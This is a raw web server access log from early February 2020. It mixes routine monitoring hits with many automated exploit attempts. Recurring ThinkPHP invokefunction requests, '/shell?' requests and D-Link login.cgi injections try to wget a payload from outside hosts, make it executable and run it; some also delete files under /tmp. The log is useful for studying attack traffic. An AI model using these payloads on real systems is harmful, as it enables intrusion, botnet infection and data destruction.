190.122.112.7 - - [03/Feb/2020:11:07:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:11:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [03/Feb/2020:11:09:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:11:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.192.123 - - [03/Feb/2020:11:10:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.72.172 - - [03/Feb/2020:11:11:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.202.212.237 - - [03/Feb/2020:11:11:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.17.57 - - [03/Feb/2020:11:16:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.216.125.8 - - [03/Feb/2020:11:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:11:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.226.226.217 - - [03/Feb/2020:11:24:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:11:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.25.111 - - [03/Feb/2020:11:25:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.29.30.253 - - [03/Feb/2020:11:26:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.167.133 - - [03/Feb/2020:11:32:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.253 - - [03/Feb/2020:11:35:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:11:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [03/Feb/2020:11:36:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.32.84.252 - - [03/Feb/2020:11:38:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [03/Feb/2020:11:38:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.19.184.187 - - [03/Feb/2020:11:39:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:11:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.51.190.9 - - [03/Feb/2020:11:40:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.135.208 - - [03/Feb/2020:11:40:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.59.13.174 - - [03/Feb/2020:11:43:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.224.176 - - [03/Feb/2020:11:43:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.141.60 - - [03/Feb/2020:11:43:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:11:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.161.175.83 - - [03/Feb/2020:11:45:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:11:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.242.89 - - [03/Feb/2020:11:49:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
118.68.29.122 - - [03/Feb/2020:11:50:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.161.175.83 - - [03/Feb/2020:11:51:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:11:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [03/Feb/2020:11:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [03/Feb/2020:11:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.178.179 - - [03/Feb/2020:11:53:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:11:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:11:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.232.55.151 - - [03/Feb/2020:12:00:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.185.14 - - [03/Feb/2020:12:04:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.213.122.46 - - [03/Feb/2020:12:05:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.166.225.10 - - [03/Feb/2020:12:05:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:12:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [03/Feb/2020:12:09:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:12:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.222.252 - - [03/Feb/2020:12:11:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.109.128 - - [03/Feb/2020:12:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.230.109.128 - - [03/Feb/2020:12:12:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.139.61 - - [03/Feb/2020:12:13:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.107.175 - - [03/Feb/2020:12:14:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.194.64.96 - - [03/Feb/2020:12:15:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
130.193.148.138 - - [03/Feb/2020:12:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:12:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.1.203 - - [03/Feb/2020:12:17:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.29.30.253 - - [03/Feb/2020:12:18:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
105.27.173.22 - - [03/Feb/2020:12:19:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0(iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46"
212.91.246.72 - - [03/Feb/2020:12:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.223.35 - - [03/Feb/2020:12:20:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.141.60 - - [03/Feb/2020:12:24:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:12:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.225.119.202 - - [03/Feb/2020:12:28:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
46.225.119.202 - - [03/Feb/2020:12:28:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
